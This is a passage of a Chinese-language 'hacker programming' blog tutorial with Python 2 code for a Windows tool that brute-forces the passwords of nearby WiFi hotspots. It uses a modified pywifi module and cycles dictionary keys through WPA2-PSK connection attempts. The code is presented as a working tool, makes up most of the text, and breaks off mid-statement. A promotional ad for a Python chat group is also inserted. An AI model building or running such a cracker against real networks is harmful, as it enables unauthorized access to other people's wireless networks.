前幾篇文章主要介紹了使用delphi開發后門及簡單的遠控的知識，有小伙伴說delphi已經過時了沒人用了，但是筆者覺得編程語言只是實作功能的一種方式，使用你熟悉或者喜歡的語言即可，
DELPHI黑客編程（一）：正向后門原理實作
DELPHI黑客編程（二）：反彈后門原理實作
DELPHI黑客編程（三）：簡單遠控原理實作
在最近的公司專案開發中接觸到python語言及wifi相關的一些知識，正好將最近學到的和大家分享一下，另外注意：不管你是為了Python就業還是興趣愛好，記住：專案開發經驗永遠是核心，如果你沒有2020最新python入門到高級實戰視頻教程，可以去小編的Python交流.裙 ：七衣衣九七七巴而五（數字的諧音）轉換下可以找到了，里面很多新python教程專案，還可以跟老司機交流討教！
0x0001 開發環境：
windows 10+python2.7.15
0x0002 開發目標：
開發基于字典破解wifi熱點密碼的小工具
在開發這個工具的時候筆者現在網上搜索到了一些專案，但都是linux下的，不能直接用于windows平臺，因此就決定結合找到的linux下的專案，修改成windows下可運行的，
首先找到文章《一個非常簡單易懂的WIFI密碼爆破python腳本》https://my.oschina.net/Apathy/blog/821039，但是文章中說使用了pywifi模塊，“這個模塊在win下有點雞肋，作者在呼叫WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝，所以推薦在linux下跑，我測驗所使用的是Kali 2.0 自帶python 2.7.6 ，可直接通過 pip install pywifi 安裝，”但筆者在測驗的時候發現，在windows下還是可以運行的，因為要對這個模塊的源代碼進行一些修改，所以就沒有安裝模塊，而是直接拷貝模塊的源代碼到專案目錄下，
0x0003 模塊的修改：
在使用模塊自帶的測驗用例時候，發現print輸出了很多無用的資訊，因此在_wifiutil_win.py的335行去掉對“show_my_need_info”的呼叫，
0x0004 程式執行流程
功能需求比較清晰，因此我們的步驟如下：
1、獲得本機無線網卡資訊
2、掃描周圍wifi熱點
3、使用字典嘗試連接wifi熱點
4、輸出掃描結果
按照上面的流程就可以撰寫代碼了，
0x0005 代碼實作
獲得無線網資訊
參考模塊后，主要使用interfaces函式獲取本機無線網卡資訊，具體代碼封裝如下：
def get_wifi_interface():
wifi = PyWiFi()
if len(wifi.interfaces()) <= 0:
print u'未找到無線網卡介面!'
exit()
if len(wifi.interfaces()) == 1:
print u'無線網卡介面: %s'%(wifi.interfaces()[0].name())
return wifi.interfaces()[0]
else:
print '%-4s %s'%(u'序號',u'網卡介面名稱')
for i,w in enumerate(wifi.interfaces()):
print '%-4s %s'%(i,w.name())
while True:
iface_no = raw_input('請選擇網卡介面序號:'.decode('utf-8').encode('gbk'))
no = int(iface_no)
if no>=0 and no < len(wifi.interfaces()):
return wifi.interfaces()[no]掃描周圍熱點
主要通過scan函式獲得scan_results結果，具體代碼封裝如下，這里sleep(2)是因為測驗的時候本機的無線網卡回傳資訊需要一些時間，當然如果你的網卡性能好，可以去掉這個sleep：
def scan(face):
face.scan()
time.sleep(2)
return face.scan_results()嘗試連接（破解密碼）
密碼破解這里先要定義一個Profile，然后再將Profile作為引數呼叫connect進行連接嘗試，使用status函式取連接結果的回傳值，如果是const.IFACE_CONNECTED則連接成功，顯示結果，如果是其他則為失敗，
def test(i,face,x,key,stu,ts):
showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid
key_index = 0
while key_index < len(key):
k = key[key_index]
x.key = k.strip()
face.remove_all_network_profiles()
profile = Profile()
profile.ssid = x.ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = x.key
face.connect(face.add_network_profile(profile))
code = -1
t1 = time.time()
now = time.time() - t1
while True:
time.sleep(0.1)
code = face.status()
now = time.time()-t1
if now>ts:
break
stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code)))
stu.flush()
if code == const.IFACE_DISCONNECTED :
break
elif code == const.IFACE_CONNECTED:
face.disconnect()
stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now